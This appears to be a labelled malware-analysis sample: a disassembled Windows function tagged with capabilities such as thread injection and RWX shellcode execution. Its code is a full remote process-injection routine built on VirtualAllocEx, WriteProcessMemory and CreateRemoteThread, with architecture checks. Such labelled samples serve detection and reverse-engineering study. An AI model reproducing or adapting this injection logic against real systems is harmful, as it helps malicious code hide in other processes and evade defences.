Function at 0x401b9f
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Get system information on windows
Inject thread
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x448cd0
push 0x403c80
mov eax, dword fs:[0]
push eax
push ecx
push ecx
sub esp, 0xdc
mov eax, dword [0x44a004]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
and dword [ebp - 0x8c], 0
and dword [ebp - 0x64], 0
mov dword [ebp - 0x94], 1
and dword [ebp - 0x9c], 0
mov dword [ebp - 0xec], 1
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x401c16
cmp dword [ebp + 0xc], 0
je 0x401c16
cmp dword [ebp + 0x10], 0
jne 0x401c32
mov dword [ebp - 0xbc], 0xfffffffe
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xbc]
jmp 0x402047
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jne 0x401c68
mov dword [ebp - 0xc0], 0xfffffffd
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xc0]
jmp 0x402047
push str.IsWow64Process
push dword [ebp - 0x98]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa8], eax
push dword [ebp - 0x98]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp - 0xa8], 0
je 0x401d3c
lea eax, [ebp - 0x60]
push eax
push dword [ebp + 8]
call dword [ebp - 0xa8]
test eax, eax
jne 0x401cc5
mov dword [ebp - 0xc4], 0xfffffffc
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xc4]
jmp 0x402047
cmp dword [ebp - 0x60], 0
je 0x401cd7
mov dword [ebp - 0x94], 1
jmp 0x401d3c
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x88]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [ebp - 0x88]
cmp eax, 9
jne 0x401d09
mov dword [ebp - 0x94], 2
jmp 0x401d3c
movzx eax, word [ebp - 0x88]
test eax, eax
jne 0x401d20
mov dword [ebp - 0x94], 1
jmp 0x401d3c
mov dword [ebp - 0xc8], 0xfffffffc
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xc8]
jmp 0x402047
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xac], ecx
mov eax, dword [ebp - 0xac]
movzx eax, word [eax + 0x18]
cmp eax, 0x10b
jne 0x401d68
mov dword [ebp - 0x9c], 1
jmp 0x401d83
mov eax, dword [ebp - 0xac]
movzx eax, word [eax + 0x18]
cmp eax, 0x20b
jne 0x401d83
mov dword [ebp - 0x9c], 2
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x94]
je 0x401daf
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xcc]
jmp 0x402047
push dword [ebp + 0xc]
call fcn.00401376
pop ecx
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
jne 0x401de3
mov dword [ebp - 0xd0], 0xfffffffb
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xd0]
jmp 0x402047
mov eax, dword [ebp + 0x20]
mov ecx, dword [ebp + 0x10]
lea eax, [ecx + eax + 0x40]
mov dword [ebp - 0xb8], eax
push 0x40
push 0x3000
push dword [ebp - 0xb8]
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jne 0x401e36
mov dword [ebp - 0xd4], 0xfffffffa
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xd4]
jmp 0x402047
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0x90]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401e6d
mov dword [ebp - 0xd8], 0xfffffff9
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xd8]
jmp 0x402047
mov eax, dword [ebp - 0x90]
add eax, dword [ebp - 0xb0]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x90]
add eax, dword [ebp + 0x10]
mov dword [ebp - 0xa0], eax
cmp dword [ebp + 0x20], 0
jbe 0x401ecb
push 0
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0xa0]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401ecb
mov dword [ebp - 0xdc], 0xfffffff9
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xdc]
jmp 0x402047
mov eax, dword [ebp - 0xa0]
add eax, dword [ebp + 0x20]
mov dword [ebp - 0xa4], eax
push 0x40
push 0
lea eax, [ebp - 0x5c]
push eax
call fcn.004042f0
add esp, 0xc
push dword [ebp - 0xe0]
push dword [ebp + 0x20]
push dword [ebp - 0xa0]
push dword [ebp + 0x18]
push dword [ebp - 0x90]
push dword [ebp + 0x14]
push dword [ebp - 0x94]
push 0x40
lea eax, [ebp - 0x5c]
push eax
call fcn.0040170b
add esp, 0x24
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
ja 0x401f44
mov dword [ebp - 0xe4], 0xfffffff8
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xe4]
jmp 0x402047
push 0
push dword [ebp - 0xb4]
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401f7f
mov dword [ebp - 0xe8], 0xfffffff9
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xe8]
jmp 0x402047
push dword [ebp - 0xb8]
push dword [ebp - 0x90]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
cmp dword [ebp - 0xec], 1
jne 0x401fec
cmp dword [ebp - 0x94], 2
jne 0x401fec
lea eax, [ebp - 0x8c]
push eax
push dword [ebp + 0x14]
push dword [ebp - 0xa4]
push dword [ebp + 8]
call fcn.004015a5
add esp, 0x10
test eax, eax
je 0x401fde
mov dword [ebp - 0xf0], 0xfffffff7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xf0]
jmp 0x402047
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x402011
lea eax, [ebp - 0x64]
push eax
push 0
push dword [ebp + 0x14]
push dword [ebp - 0xa4]
push 0x100000
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 4], 0xfffffffe
jmp 0x402041
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00402d52
leave
ret 0x1c